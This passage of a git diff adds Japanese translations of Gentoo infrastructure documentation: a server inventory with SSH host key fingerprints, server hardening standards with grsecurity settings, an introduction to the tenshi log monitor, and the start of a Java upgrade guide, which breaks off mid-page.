+		<ti>rsync.gentoo.org, im.gentoo.org</ti>
+		<ti>rsyncサーバ、jabber</ti>
+		<ti>2 x 550Mhz Pentium III</ti>
+		<ti>2GB</ti>
+		<ti>4 x 9GB SCSI (RAID5 ~27GB)</ti>
+		<ti>Open Source Lab</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA bb:59:37:0f:09:3a:5f:ed:be:55:dc:c8:e4:bf:32:22 DSA 14:e8:d5:39:5d:eb:3e:9a:05:34:71:3b:a1:ac:ee:96</ti>
+	</tr>
+	<tr>
+		<ti>roadrunner</ti>
+		<ti></ti>
+		<ti>ldap1</ti>
+		<ti>1.4Ghz PIII</ti>
+		<ti>1GB</ti>
+		<ti>2 x 36GB U320 SCSI (RAID1)</ti>
+		<ti>匿名</ti>
+		<ti>Murray, KY</ti>
+		<ti>RSA c4:c7:45:d7:6e:00:a9:a4:e6:8d:fd:2e:78:e0:cf:42 DSA 09:c0:6b:a1:46:cb:7c:f9:6f:87:1a:d4:47:c7:34:87</ti>
+	</tr>
+	<tr>
+		<ti>robin</ti>
+		<ti>lists.gentoo.org</ti>
+		<ti>メーリングリスト・サーバ, rsyncサーバ(イタリアのみ)</ti>
+		<ti>3.06Ghz P4</ti>
+		<ti>2GB</ti>
+		<ti>2x73GB SCSI U160</ti>
+		<ti>University of Trieste</ti>
+		<ti>Trieste, Italy</ti>
+		<ti>RSA b5:54:3a:4c:55:01:76:89:ae:4e:42:b8:12:a4:1a:32 DSA 71:de:ca:37:60:c1:4c:8d:14:b5:e5:8f:09:95:29:88</ti>
+	</tr>
+	<tr>
+		<ti>raven</ti>
+		<ti>rsync.gentoo.org</ti>
+		<ti>rsyncサーバ</ti>
+		<ti>2 x 1.7Ghz P4 Xeons</ti>
+		<ti>2GB</ti>
+		<ti>2 x 18GB U160</ti>
+		<ti>匿名</ti>
+		<ti>Indianapolis, IN</ti>
+		<ti>RSA ad:7b:17:ff:f3:fc:ac:be:3c:fc:20:e6:b5:bc:4d:4d DSA 90:ec:af:04:a0:86:b1:b0:0a:f4:5e:f2:e2:83:c1:c7</ti>
+	</tr>
+	<tr>
+		<ti>snipe</ti>
+		<ti></ti>
+		<ti>新nagios/ログホスト/バックアップサーバ</ti>
+		<ti>2 x 2.4Ghz Xeon</ti>
+		<ti>1GB</ti>
+		<ti>2 x 36GB U160, SGI SAN (ファイバーチャネル接続)</ti>
+		<ti>Global Netoptex, Inc</ti>	
+		<ti>San Fransico, CA</ti>
+		<ti></ti>
+	</tr>
+	<tr>
+		<ti>sparrow</ti>
+		<ti>torrents.gentoo.org</ti>
+		<ti>bittorrent tracker</ti>
+		<ti>2.4Ghz Xeon</ti>
+		<ti>2GB</ti>
+		<ti>36GB U320</ti>
+		<ti>vr.org</ti>	
+		<ti>San Jose, CA</ti>
+		<ti></ti>
+	</tr>
+	<tr>
+		<ti>swallow</ti>
+		<ti>monitor.gentoo.org</ti>
+		<ti>バックアップサーバ, nagios監視</ti>
+		<ti>1.4Ghz AMD Duron</ti>
+		<ti>512MB</ti>
+		<ti>4 x 160GB IDE</ti>
+		<ti>Seven L. Networks</ti>	
+		<ti>Toronto, Canada</ti>
+		<ti>RSA 78:d1:16:c9:23:1d:2e:c3:40:e4:ed:a2:7f:ff:33:be DSA 03:2d:80:c6:3a:fa:79:54:02:01:a3:99:36:fd:fc:02</ti>
+	</tr>
+	<tr>
+		<ti>toucan</ti>
+		<ti></ti>
+		<ti>旧開発者用サーバ(復帰予定)</ti>
+		<ti>2 x 866MHz PIII</ti>
+		<ti>1G RAM</ti>
+		<ti>4x36GB SCSI (RAID5 ~27GB) and 255GB RAID5 Array</ti>
+		<ti>匿名</ti>
+		<ti>Indianapolis, IN</ti>
+		<ti>RSA bc:bf:51:bf:71:23:e2:8f:88:06:6b:2a:4f:3a:5f:35 DSA 8c:fa:d1:6a:f5:4b:26:d3:ac:05:84:a6:a7:de:b1:19</ti>
+	</tr>
+	<tr>
+		<ti>warbler</ti>
+		<ti>mirrorstats.gentoo.org, devwiki.gentoo.org, bouncer.gentoo.org, planet.gentoo.org</ti>
+		<ti>複数のwwwサービス</ti>
+		<ti>2.4Ghz P4 w/ HT</ti>
+		<ti>1GB</ti>
+		<ti>80GB IDE</ti>
+		<ti>Open Source Lab</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA 78:62:de:00:cb:c4:9f:17:c4:ea:17:de:be:7f:17:85 DSA 5b:44:e1:a5:81:0f:03:86:3f:2a:09:4c:e4:bd:ca:b6</ti>
+	</tr>
+	<tr>
+		<ti>woodpecker</ti>
+		<ti>dev.gentoo.org, smtp.gentoo.org</ti>
+		<ti>開発者用shellサーバ、メイン・メールサーバ</ti>
+		<ti>2 x 3Ghz Xeon</ti>
+		<ti>2GB</ti>
+		<ti>6 x 146G 10K SCSI U320 (RAID5)</ti>
+		<ti>Open Source Lab</ti>
+		<ti>Corvallis, OR</ti>
+		<ti></ti>
+	</tr>
+	<tr>
+		<ti>wren</ti>
+		<ti>www.gentoo.org</ti>
+		<ti>wwwノード (スレーブ)</ti>
+		<ti>2x933 PIII</ti>
+		<ti>512MB</ti>
+		<ti>2x9G 10K SCSI U160</ti>
+		<ti>vr.org</ti>
+		<ti>San Jose, CA</ti>
+		<ti>RSA e3:32:84:5c:b2:9b:73:fc:01:d8:b8:32:7a:77:0f:d9 DSA 31:43:26:ae:56:46:86:93:f0:e7:15:a3:70:95:f9:31</ti>
+	</tr>
+</table>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/infrastructure/server-standards.xml b/xml/htdocs/proj/ja/infrastructure/server-standards.xml
new file mode 100644
index 00000000..7d60ac53
--- /dev/null
+++ b/xml/htdocs/proj/ja/infrastructure/server-standards.xml
@@ -0,0 +1,321 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "/proj/ja/infrastructure/server-standards.xml">
+<title>Gentooインフラストラクチャプロジェクト サーバスタンダード</title>
+<author title="Author">
+    <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Contributor">
+    <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="翻訳者">
+	<mail link="masatsugu@fujinaka.info">藤中 正次</mail>
+</author>
+
+<abstract>
+このガイドは、Gentooインフラチームがそのサーバに設定するさまざまな標準値、パッケージ、必要要件について文書化したものです。
+</abstract>
+<version>$Id: server-standards.xml,v 1.3 2005/08/13 17:28:40 idani Exp $</version>
+<date>2 April, 2004</date>
+<!-- Original revision: 1.17 -->
+
+<chapter>
+<title>Gentooインフラストラクチャ サーバスタンダードとガイドライン</title>
+<section>
+<title>すべてのサーバに共通なパッケージ</title>
+<body>
+<p>
+以下のパッケージはすべてのGentooインフラストラクチャサーバにemergeすることが要求されています。
+</p>
+<ul>
+	<li><c>net-dns/bind-tools</c></li>        
+	<li><c>net-misc/cfengine</c></li>        
+	<li><c>app-portage/gentoolkit</c></li>        
+	<li><c>sys-kernel/hardened-sources</c></li>
+	<li><c>sys-boot/grub</c></li>        
+	<li><c>net-firewall/iptables</c></li>
+	<li><c>net-misc/keychain</c></li>
+	<li><c>sys-process/lsof</c></li>
+	<li><c>net-analyzer/nagios-nrpe</c></li>
+	<li><c>net-analyzer/net-snmp</c></li>
+	<li><c>net-misc/ntp</c></li>        
+	<li><c>app-misc/screen</c></li>        
+	<li><c>dev-util/strace</c></li>
+	<li><c>net-misc/stunnel</c></li>
+	<li><c>app-admin/sudo</c></li>
+	<li><c>app-admin/syslog-ng</c></li>        
+	<li><c>net-analyzer/tcptraceroute</c></li>
+	<li><c>app-editors/vim</c></li>
+	<li><c>sys-process/vixie-cron</c></li>
+	<li><c>app-misc/pax-utils</c></li>
+</ul>
+<note>
+Portageはnagios-nrpeのversion 2.0をインストールしようとしますが、version 1.8を代わりに使ってください。
+Version 2.0は、1.8とは互換性がありません。 nagios-nrpeをインストールする前に、echo ">=net-analyzer/nagios-nrpe-2.0" >/etc/portage/package.maskを実行してください。
+</note>
+<note>
+chrootの状態で、nagios-nrpeをemergeしようとすると、コンパイルエラーが発生するかもしれませんので、nagios-nrpeのemergeはchroot環境から抜け出しクリーンブートを行った状態でemergeしてください。
+</note>
+</body>
+</section>
+<section>
+<title>すべてのサーバに共通するサービス</title>
+<body>
+<p>
+次のサービスは、すべてのGentooインフラストラクチャサーバに要求されるサービスです。 リンクをクリックして、各サービスの要求事項とサンプル設定に関して、もっと知っておいてください。
+</p>
+<ul>
+	<li><uri link="/proj/en/infrastructure/config-ntp.xml">NTP</uri> - ネットワークタイムプロトコル</li>
+	<li>cfengine - システム監視ツールと言語</li>
+	<li><uri link="/proj/en/infrastructure/config-ssh.xml">SSH</uri> - セキュアシェル</li>
+	<li><uri link="/proj/en/infrastructure/firewall/server-firewall.xml">iptables</uri> - linuxファイアウォール</li>
+</ul>
+</body>
+</section>
+<section>
+<title>すべてのサーバにて禁止されているサービス</title>
+<body>
+<p>
+次のサービスは、すべてのGentooインフラストラクチャサーバ上では、インフラチームのプロジェクトマネージャによる事前の承認なしにはインストールまたは実行することが出来ないものです。
+</p>
+<ul>
+	<li>telnetd</li>
+	<li>pop3</li>
+	<li>imap</li>
+	<li>ssh protocol &lt; 2</li>
+	<li>fingerd</li>
+	<li>identd</li>
+	<li>rsh</li>
+</ul>
+<note>
+上記のリストはすべて記載しているわけではなく、もっとも知られている禁止されているサービスです。 
+一般的に、セキュリティの危険と見られたり、暗号化せずにデータを転送し、安全でない実装のすべてのネットワークデーモンはGentooインフラストラクチャ上では、明確な承認がない限り、走らせることは出来ません。
+apacheを使用したHTTPは例外として唯一認められています。
+</note>
+</body>
+</section>
+
+<section>
+<title>/etc/make.confの設定</title>
+<body>
+<p>
+サーバは次の/etc/make.confの設定を使用すべきです。
+</p>
+<ul>
+<li><c>USE="-* hardened pic ncurses ssl crypt berkdb tcpd pam xml perl python snmp mmx readline"</c></li>
+<li><c>FEATURES="sandbox sfperms strict buildpkg"</c> (すべてのサーバ)</li>
+<li><c>CFLAGS="-march=athlon-xp -O2 -pipe"</c> (Athlon XPサーバ)</li>
+<li><c>CFLAGS="-march=pentium3 -O2 -pipe"</c> (Pentium IIIサーバ)</li>
+<li><c>CFLAGS="-march=pentium4 -O2 -pipe"</c> (Pentium IVサーバ)</li>
+</ul>
+<note>
+各サーバの要求事項次第で、USEフラグは調整されるべきです。
+すべてのサーバ上で、最小限のUSEフラグを使用することに常に注意してください。
+</note>
+<note>
+時々、mmx USEフラグはPortageにあるいくつかのマルチメディアアプリケーションで使われている既存のmmxアセンブリと衝突することがあります。
+これに気づいたときは、USE="-mmx"にするか、CFLAGS="-fomit-frame-pointer"を加えてください。 必要であれば、開発者に助けを求めてください。
+</note>
+<impo>CFLAGS="-fforce-addr"は現在検討中であり、近い将来にUSEフラグに加えられるかもしれません。</impo>
+
+<p>
+-O2と-O3では、ほんの少ししか違いがないため、CFLAGの選択にはパフォーマンスよりも安定性を選びました。
+また、デバッグ支援のために、-fomit-frame-pointerは使われるべきではありません。
+</p>
+</body>
+</section>
+
+<section>
+<title>/etc/fstabの設定</title>
+<body>
+<p>
+bootパーティションを除いて(これはext2の場合があります)、すべてのサーバのパーティションは、ext3もしくはreiserfsのどちらかを使うべきです。
+加えて、/パーティションは<c>atime</c>を<b>有効</b>にしてマウントされなければなりません。
+これは、/エントリから<c>noatime</c>を取り除くことです。
+</p>
+</body>
+</section>
+
+<section>
+<title>その他の設定</title>
+<body>
+<p>
+Gentooインフラストラクチャサーバは以下の設定を適用すべきです。
+</p>
+<pre caption="/etc/sysctl.conf">
+net.ipv4.tcp_ecn = 0
+kernel.hostname = &lt;hostname&gt; 
+kernel.domainname = gentoo.org
+kernel.grsecurity.altered_pings = 1
+kernel.grsecurity.audit_chdir = 0
+kernel.grsecurity.audit_gid = 10 
+kernel.grsecurity.audit_group = 0
+kernel.grsecurity.audit_ipc = 0
+kernel.grsecurity.audit_mount = 1
+kernel.grsecurity.chroot_caps = 1
+kernel.grsecurity.chroot_deny_chmod = 1
+kernel.grsecurity.chroot_deny_chroot = 1
+kernel.grsecurity.chroot_deny_fchdir = 1
+kernel.grsecurity.chroot_deny_mknod = 1
+kernel.grsecurity.chroot_deny_mount = 1
+kernel.grsecurity.chroot_deny_pivot = 1
+kernel.grsecurity.chroot_deny_shmat = 1
+kernel.grsecurity.chroot_deny_sysctl = 1
+kernel.grsecurity.chroot_deny_unix = 1
+kernel.grsecurity.chroot_enforce_chdir = 1
+kernel.grsecurity.chroot_execlog = 0
+kernel.grsecurity.chroot_findtask = 1
+kernel.grsecurity.chroot_restrict_nice = 1
+kernel.grsecurity.dmesg = 1
+kernel.grsecurity.exec_logging = 0
+kernel.grsecurity.execve_limiting = 1
+kernel.grsecurity.fifo_restrictions = 1
+kernel.grsecurity.forkfail_logging = 1
+kernel.grsecurity.linking_restrictions = 1
+kernel.grsecurity.rand_ip_ids = 1
+kernel.grsecurity.rand_isns = 1
+kernel.grsecurity.rand_pids = 1
+kernel.grsecurity.rand_rpc = 0
+kernel.grsecurity.rand_tcp_src_ports = 1
+kernel.grsecurity.signal_logging = 1
+kernel.grsecurity.timechange_logging = 1
+kernel.grsecurity.tpe = 0
+kernel.grsecurity.tpe_gid = 0
+kernel.grsecurity.tpe_restrict_all = 0
+</pre>
+<pre caption="すべてのサーバはUTC時刻に設定されるべきです">
+ln -sf /usr/share/zoneinfo/UTC /etc/localtime
+</pre>
+<pre caption="GRSecurity設定">
+#
+# Grsecurity
+#
+CONFIG_GRKERNSEC=y
+CONFIG_CRYPTO=y
+CONFIG_CRYPTO_SHA256=y
+# CONFIG_GRKERNSEC_LOW is not set
+# CONFIG_GRKERNSEC_MID is not set
+# CONFIG_GRKERNSEC_HI is not set
+CONFIG_GRKERNSEC_CUSTOM=y
+
+#
+# PaX Control
+#
+# CONFIG_GRKERNSEC_PAX_SOFTMODE is not set
+CONFIG_GRKERNSEC_PAX_EI_PAX=y
+CONFIG_GRKERNSEC_PAX_PT_PAX_FLAGS=y
+CONFIG_GRKERNSEC_PAX_NO_ACL_FLAGS=y
+# CONFIG_GRKERNSEC_PAX_HAVE_ACL_FLAGS is not set
+# CONFIG_GRKERNSEC_PAX_HOOK_ACL_FLAGS is not set
+
+#
+# Address Space Protection
+#
+CONFIG_GRKERNSEC_PAX_NOEXEC=y
+# CONFIG_GRKERNSEC_PAX_PAGEEXEC is not set
+CONFIG_GRKERNSEC_PAX_SEGMEXEC=y
+# CONFIG_GRKERNSEC_PAX_EMUTRAMP is not set
+CONFIG_GRKERNSEC_PAX_MPROTECT=y
+# CONFIG_GRKERNSEC_PAX_NOELFRELOCS is not set
+CONFIG_GRKERNSEC_PAX_ASLR=y
+CONFIG_GRKERNSEC_PAX_RANDUSTACK=y
+CONFIG_GRKERNSEC_PAX_RANDMMAP=y
+CONFIG_GRKERNSEC_PAX_RANDEXEC=y
+# CONFIG_GRKERNSEC_KMEM is not set
+# CONFIG_GRKERNSEC_IO is not set
+CONFIG_GRKERNSEC_PROC_MEMMAP=y
+CONFIG_GRKERNSEC_HIDESYM=y
+
+#
+# Role Based Access Control Options
+#
+CONFIG_GRKERNSEC_ACL_HIDEKERN=y
+CONFIG_GRKERNSEC_ACL_MAXTRIES=3
+CONFIG_GRKERNSEC_ACL_TIMEOUT=30
+
+#
+# Filesystem Protections
+#
+CONFIG_GRKERNSEC_PROC=y
+# CONFIG_GRKERNSEC_PROC_USER is not set
+CONFIG_GRKERNSEC_PROC_USERGROUP=y
+CONFIG_GRKERNSEC_PROC_GID=10
+CONFIG_GRKERNSEC_PROC_ADD=y
+CONFIG_GRKERNSEC_LINK=y
+CONFIG_GRKERNSEC_FIFO=y
+CONFIG_GRKERNSEC_CHROOT=y
+CONFIG_GRKERNSEC_CHROOT_MOUNT=y
+CONFIG_GRKERNSEC_CHROOT_DOUBLE=y
+CONFIG_GRKERNSEC_CHROOT_PIVOT=y
+CONFIG_GRKERNSEC_CHROOT_CHDIR=y
+CONFIG_GRKERNSEC_CHROOT_CHMOD=y
+CONFIG_GRKERNSEC_CHROOT_FCHDIR=y
+CONFIG_GRKERNSEC_CHROOT_MKNOD=y
+CONFIG_GRKERNSEC_CHROOT_SHMAT=y
+CONFIG_GRKERNSEC_CHROOT_UNIX=y
+CONFIG_GRKERNSEC_CHROOT_FINDTASK=y
+CONFIG_GRKERNSEC_CHROOT_NICE=y
+CONFIG_GRKERNSEC_CHROOT_SYSCTL=y
+CONFIG_GRKERNSEC_CHROOT_CAPS=y
+
+#
+# Kernel Auditing
+#
+# CONFIG_GRKERNSEC_AUDIT_GROUP is not set
+CONFIG_GRKERNSEC_EXECLOG=y
+CONFIG_GRKERNSEC_RESLOG=y
+CONFIG_GRKERNSEC_CHROOT_EXECLOG=y
+CONFIG_GRKERNSEC_AUDIT_CHDIR=y
+CONFIG_GRKERNSEC_AUDIT_MOUNT=y
+CONFIG_GRKERNSEC_AUDIT_IPC=y
+CONFIG_GRKERNSEC_SIGNAL=y
+CONFIG_GRKERNSEC_FORKFAIL=y
+CONFIG_GRKERNSEC_TIME=y
+CONFIG_GRKERNSEC_PROC_IPADDR=y
+CONFIG_GRKERNSEC_AUDIT_TEXTREL=y
+
+#
+# Executable Protections
+#
+CONFIG_GRKERNSEC_EXECVE=y
+CONFIG_GRKERNSEC_DMESG=y
+CONFIG_GRKERNSEC_RANDPID=y
+CONFIG_GRKERNSEC_TPE=y
+CONFIG_GRKERNSEC_TPE_ALL=y
+CONFIG_GRKERNSEC_TPE_GID=100
+
+#
+# Network Protections
+#
+CONFIG_GRKERNSEC_RANDNET=y
+CONFIG_GRKERNSEC_RANDISN=y
+CONFIG_GRKERNSEC_RANDID=y
+CONFIG_GRKERNSEC_RANDSRC=y
+CONFIG_GRKERNSEC_RANDRPC=y
+# CONFIG_GRKERNSEC_SOCKET is not set
+
+#
+# Sysctl support
+#
+CONFIG_GRKERNSEC_SYSCTL=y
+
+#
+# Logging options
+#
+CONFIG_GRKERNSEC_FLOODTIME=10
+CONFIG_GRKERNSEC_FLOODBURST=4
+</pre>
+
+<note>CONFIG_GRKERNSEC_KMEMによって、設定が変わってきます。</note>
+<impo>
+サーバのハードウェア時刻もUTCフォーマットで正確に設定されていることを確かにしてください。
+<c>hwclock</c>を使って変更してください。
+</impo>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/infrastructure/tenshi/index.xml b/xml/htdocs/proj/ja/infrastructure/tenshi/index.xml
new file mode 100644
index 00000000..09cfbb85
--- /dev/null
+++ b/xml/htdocs/proj/ja/infrastructure/tenshi/index.xml
@@ -0,0 +1,181 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/infrastructure/tenshi/index.xml,v 1.2 2006/01/09 16:29:08 idani Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "/proj/ja/infrastructure/tenshi/index.xml">
+<title>Gentoo Linux文書 -- Tenshi</title>
+<author title="Author">
+    <mail link="lcars@gentoo.org">Andrea Barisani</mail>
+</author>
+<author title="翻訳者">
+	<mail link="masatsugu@fujinaka.info">藤中 正次</mail>
+</author>
+<abstract>
+このページはtenshi、ログの監視と報告ツール、の紹介です。
+</abstract>
+<version>0.3.4</version>
+<date>2005-7-25</date>
+<!-- Original revision: 1.6 -->
+
+<chapter>
+<title>はじめに</title>
+<section>
+<body>
+<p>
+Tenshiは、ユーザが設定した正規表現に適合するログの行をレポートする、ログ監視プログラムです。
+正規表現は、メール送信者リストと通知間隔を持つキューに対応づけられます。
+</p>
+
+<p>
+キューは、ログ行が置かれるとすぐに通知を送信することもできますし、定期的にレポートすることも出来ます。<br/><br/>
+</p>
+
+<p>
+加えて、標準の正規表現のグループ化の演算子 ( )を用いて、あまり興味のないログの行のフィールド(たとえばPIDなど)をマスクすることも可能です。
+これは、もっと整理された読みやすいリポートを作成します。
+すべてのリポートは、ホスト名で分かれており、メッセージは可能であれば、圧縮されています。<br/><br/>
+</p>
+
+<p>
+このプログラムは、設定ファイルを読み込み、特定のログファイルを監視するためのデーモンをforkします。<br/><br/>
+</p>
+
+<p>
+この<uri link="http://www.gentoo.org/~lcars/tenshi/tenshi.conf">tenshi.conf</uri>例とtenshi.8のmanページの使用方法を読んでください。
+</p>
+
+<impo>
+このパッケージは、以前<c>Wasabi</c>として知られていましたが、商標違反で名前が変わりました。
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>例</title>
+<section>
+<body>
+<p>
+次のtenshi.conf設定を考えてみてください。
+</p>
+<pre caption="tenshi.confキュー設定">
+
+...
+
+set hidepid on
+
+set queue mail     tenshi@localhost sysadmin@localhost [0 */12 * * *]
+set queue misc     tenshi@localhost sysadmin@localhost [0 */24 * * *]
+set queue critical tenshi@localhost sysadmin@localhost [now]
+
+group ^ipop3d:
+
+mail ^ipop3d: Login user=(.+)
+mail ^ipop3d: Logout user=(.+)
+mail ^ipop3d: pop3s SSL service init from (.+)
+mail ^ipop3d: pop3 service init from (.+)
+mail ^ipop3d: Command stream end of file, while reading.+
+mail ^ipop3d: Command stream end of file while reading.+
+
+critical ^ipop3d: Login failed.+
+
+trash ^ipop3d:.+
+
+group_end
+
+critical ^sudo: (.+) : TTY=(.+) ; PWD=(.+) ; USER=root ; COMMAND=(.+)
+
+misc .*
+</pre>
+
+<p>
+<e>mail</e>キューまたはcriticalキューに関連づけられた正規表現に合致しないすべてのipop3dのメッセージは、<e>trash</e>キュー(組み込まれたnullキュー)に合うでしょう。
+その他のメッセージは、<e>misc</e>に合うでしょう。
+<c>(.+)</c>に囲まれたメッセージのフィールドは、マスクされます。
+</p>
+
+<p>
+<e>mail</e>キューのサンプルレポートです(12時間ごとに送信されます)。
+</p>
+<pre caption="サンプルレポート - [mail]キュー">
+host1:
+    79: ipop3d: Login user=___
+    74: ipop3d: Logout user=___
+
+host2:
+    30: ipop3d: Login user=___
+    30: ipop3d: Logout user=___
+    19: ipop3d: pop3 service init from ___
+    12: ipop3d: pop3s SSL service init from ___
+    1: ipop3d: Command stream end of file while reading line user=??? host=bogus.domain.net [192.168.0.1]
+    1: ipop3d: Command stream end of file, while reading authentication host=bogus1.domain.net [10.1.7.1]
+</pre>
+
+<p>
+これらのサンプルレポートは<e>critical</e>キューです(正規表現に合うたびにメッセージが送信されます)。
+</p>
+<pre caption="サンプルレポート - [critical]キュー">
+
+host1:
+    1: /usr/bin/sudo: ___ : TTY=___ ; PWD=___ ; USER=root ; COMMAND=/bin/dmesg
+</pre>
+
+<pre caption="サンプルレポート - [critical]キュー">
+
+host1:
+    1: /usr/bin/sudo: ___ : TTY=___ ; PWD=___ ; USER=root ; COMMAND=/bin/bash
+</pre>
+
+<pre caption="サンプルレポート - [critical]キュー">
+host2:
+    1: ipop3d: Login failed user=admin auth=admin host=bogus1.domain.net [10.1.7.1]
+</pre>
+
+<pre caption="サンプルレポート - [critical]キュー">
+host2:
+    1: ipop3d: Autologout user=??? host=bogus.domain.net [192.168.0.1]
+</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>要求事項</title>
+<section>
+<body>
+<p>
+teshiは、動作する'tail'実装が必要になります。
+また、Net::SMTP perlモジュール(標準のperlインストールに含まれています)もリポートをメールするために必要になります。
+</p>
+
+<p>
+Gentoo Linuxユーザは<e>app-admin/tenshi</e> ebuildをインストールするだけです。
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>リソース</title>
+<section>
+<body>
+<p>
+もっとも新しい<c>tenshi</c>リリースは<uri link="http://www.gentoo.org/~lcars/tenshi/tenshi-latest.tar.gz">tenshi-latest.tar.gz</uri>で見つけることが出来ます。
+</p>
+
+<p>
+すべてのリリースは<uri>http://www.gentoo.org/~lcars/tenshi</uri>で、見つけることが出来ます。
+</p>
+
+<p>
+要望、提案、バグ等は<mail>tenshi@gentoo.org</mail>までメールしてください。
+</p>
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/ja/java/java-upgrade.xml b/xml/htdocs/proj/ja/java/java-upgrade.xml
new file mode 100644
index 00000000..60354c58
--- /dev/null
+++ b/xml/htdocs/proj/ja/java/java-upgrade.xml
@@ -0,0 +1,411 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/java/java-upgrade.xml,v 1.1 2006/09/18 17:36:21 idani Exp $ -->
+
+<guide link="/proj/jp/java/java-upgrade.xml" lang="en">
+<title>Gentoo Java アップグレードガイド</title>
+
+<author title="Author">
+  <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+</author>
+<author title="Author">
+  <mail link="kartk@gentoo.org">Karl Trygve Kalleberg</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Josh Saddler</mail>
+</author>
+ <author title="翻訳">
+    <mail link="tma@gside.org">Takeshi Matsuba</mail>
+ </author>
+
+<abstract>
+このガイドはGentoo上のJavaを次世代のJavaへアップグレードする方法を、関連するコンセプトやツールに沿って示します。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0.8</version>
+<date>2006-07-24</date>
+
+<!-- Original revision: 1.16 -->
+
+<chapter>
+<title>始める前に</title>
+<section>
+<body>
+
+<p>
+アップグレードを始める前に、いくつか知っておくと便利な用語があります。
+</p>
+
+<dl>
+  <dt>Generation</dt>
+  <dd>
+    <ul>
+      <li>
+	これは新しいコンセプトです。このアイデアでは、GenerationとはJavaのパッケージをビルドするためのツールとeclassのセットです。
+	ある時点で、現在のGenerationから新しいGenerationに移行を始めます。この間、両方のGenerationが共存します。
+	例えば、システムVMであるGeneration X <e>と</e>システムVMである Generation X+1が共存することになります。
+	これにより、新しいGenerationへの移行を行っている間、Generation X とGeneration X+1を使用するパッケージが共存することができます。
+      </li>
+    </ul>
+  </dd>
+  <dt>Generation 1</dt>
+  <dd>
+    <ul>
+      <li>
+	このGenerationは現存のjava-pkgやjava eclass、<c>java-config-1.x</c>を含みます。
+      </li>
+    </ul>
+  </dd>
+  <dt>Generation 2</dt>
+  <dd>
+    <ul>
+      <li>
+	これは近年開発されてきた新しいGenerationです。
+      </li>
+    </ul>
+  </dd>
+</dl>
+
+<dl>
+  <dt>Generation 1 システムVM</dt>
+  <dd>
+    <ul>
+      <li>
+	これはGeneration 1からeclassを使用するJavaパッケージをemergeするために、使用されるVMです。
+	これは<c>java-config-1 --set-system-vm &lt;choice of vm&gt;</c>により設定します。
+      </li>
+    </ul>
+  </dd>
+  <dt>Generation 2 システムVM</dt>
+  <dd>
+    <ul>
+      <li>
+	Generation 2では、システムVMはrootとユーザVMを設定していないユーザにより使用されます。
+      </li>
+    </ul>
+  </dd>
+  <dt>Generation 2 ビルドVM</dt>
+  <dd>
+    <ul>
+      <li>
+	Generation 2 はVMに新しいクラスを導入しました。ビルドVMはJavaパッケージのビルドを行うときに使用されます。
+	デフォルトでは、パッケージは可能な限り低いバージョンのVMを使用するよう試みます。
+	使用されるベンダーはプラットフォームに依存します。
+	これらのデフォルトの動作は、<path>/usr/share/java-config-2/config/jdk-defaults.conf</path>により定義されます。
+	加えて、ビルドVMは<path>/etc/java-config-2/build/jdk.conf</path>により設定することができます。
+      </li>
+    </ul>
+  </dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>キーワード</title>
+<section>
+<body>
+
+<p>
+もし、あなたがstable環境の場合(例えば~x86、~ppcまたは~amd64ではなくx86、ppcまたはamd64)、<path>/etc/portage/package.keywords</path>にいくつか追加する必要があります。
+</p>
+
+<pre caption="package.keywords">
+# Java パッケージのコア
+dev-java/ant-core
+dev-java/ant-tasks
+dev-java/ant
+dev-java/java-config
+dev-java/java-config-wrapper
+dev-java/javatoolkit
+# JDK
+dev-java/sun-jdk
+dev-java/ibm-jdk-bin
+dev-java/jrockit-jdk-bin
+dev-java/blackdown-jdk
+dev-java/kaffe
+# JRE
+dev-java/sun-jre-bin
+dev-java/ibm-jre-bin
+dev-java/blackdown-jre
+# Virtual
+virtual/jdk
+virtual/jre
+# コンパイラ
+dev-java/eclipse-ecj
+dev-java/jikes
+# ドキュメント
+dev-java/java-sdk-docs
+# そのほかの、Generation 2にアップグレードされ、
+# Generation 1 ではビルドや実行がちゃんとできないもの
+dev-java/lucene
+</pre>
+
+<impo>
+新しいJavaシステムに関するすべてのパッケージを追加することが重要です。
+そうしないと、このガイドの後のステップで問題が発生するでしょう。
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>java-configのアップデート</title>
+<section>
+<body>
+
+<p>
+新しいパッケージである、<c>java-config-wrapper</c>は古いバージョンの<c>java-config</c>にブロックされるので、まずはこれを削除します。
+</p>
+
+<pre caption="古いjava-configを削除する">
+# <i>emerge -C java-config</i>
+</pre>
+
+<p>
+これで新しいバージョンの<c>java-config</c>をインストールできるでしょう。
+</p>
+
+<pre caption="新しいjava-configをインストールする">
+# <i>emerge -1 =java-config-1* =java-config-2*</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>環境をチェックする</title>
+<section>
+<body>
+
+<p>
+我々は新しいスクリプト<c>/usr/bin/java-check-environment</c>を提供しました。
+これはその名が示すように、Java環境をチェックします。
+これは次にどのようにすれば、見つかった問題を修正できるかを示します。実行してみましょう。
+</p>
+
